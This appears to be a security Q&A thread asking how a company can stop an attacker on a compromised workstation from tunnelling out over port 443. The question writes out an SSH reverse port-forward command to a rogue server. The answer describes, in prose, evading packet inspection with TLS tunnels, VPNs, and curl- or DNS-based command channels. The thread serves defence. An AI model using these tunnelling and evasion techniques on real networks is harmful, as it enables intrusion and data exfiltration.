Let us say that a small company has an internal network for employees. All employees are granted Internet access via a NAT device (not a proxy) and perimeter firewall only allows outgoing connections to port 80 and 443. An attacker manages to compromise an employee workstation (say by spear phishing mail) and wishes to pivot into the internal network. He decides to use SSH port forwarding and sets up his SSH server to listen on port 443. He then launches remote port forwarding on the compromised machine

$ ssh -p 443 -N -R 8080: admin@rogue_server

As outgoing traffic is to port 443, the firewall allows it.

How can the company defend against such attacks?

I am interested in knowing about various possible defenses including the obvious application firewall. For an application firewall - would a proxy server like Squid suffice?

1 Answer 1


Deep packet inspection (DPI) can recognize SSH handshakes and block them, but that doesn't gain you anything. A competent attacker would just use TLS instead, for example via reverse tunneling through openssl client or the more advanced flavors of netcat. It's not possible for even DPI to tell the difference between one of those (if configured to act exactly like a browser, in terms of cipher suites and so on) and an actual browser making an HTTPS connection; the TLS handshake looks exactly the same. An attacker could also run a TLS-based VPN such as OpenVPN and then tunnel anything at all through that.

Also, a fully reverse tunneled shell isn't actually needed. An attacker can remote control a shell script via curl or similar, or even receive commands and exfiltrate data through DNS requests or similar (which you have to allow out; even if your workstations can't make them to the outside directly, it can make them to your gateway which will relay the request and the response).

Blocking SSH is also awkward for a number of other things. Git can use HTTPS, but then you need to do password auth and it gets messy with MFA; SSH with public key auth is more secure but then you might have to allow SSH connections to GitHub or similar. SSH is the standard way to administer remote Linux servers in the cloud, and is becoming increasingly common for Windows servers too. SSH is also used "under the covers" for some other software and protocols.

At the end of the day, blocking SSH is a speed bump to a competent attacker, who - having already dropped and executed some payload on a host inside your network - does not actually need another way to gain code execution on internal hosts. Nor does it prevent exfiltration at all.

  • While the TLS handshake might look the same (usually JA3 fingerprint will likely be different though since not only ciphers are taken into account) the rest of the traffic will show different patterns between a request-response based HTTP and some interactive session like SSH. Aug 14, 2020 at 14:15
  • 1
    @SteffenUllrich True for basic web browsing, but not so much for anything using websockets or many small HTTP requests. I suppose you could allow certain sites to display such traffic patterns while blocking by default, but the drive for responsive web apps keeps blurring the line between request/response and interactive traffic.
    – CBHacking
    Aug 16, 2020 at 5:58
  • Good point, especially the one about Websockets. There will probably several false positives in detection in this case. Aug 16, 2020 at 6:39

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .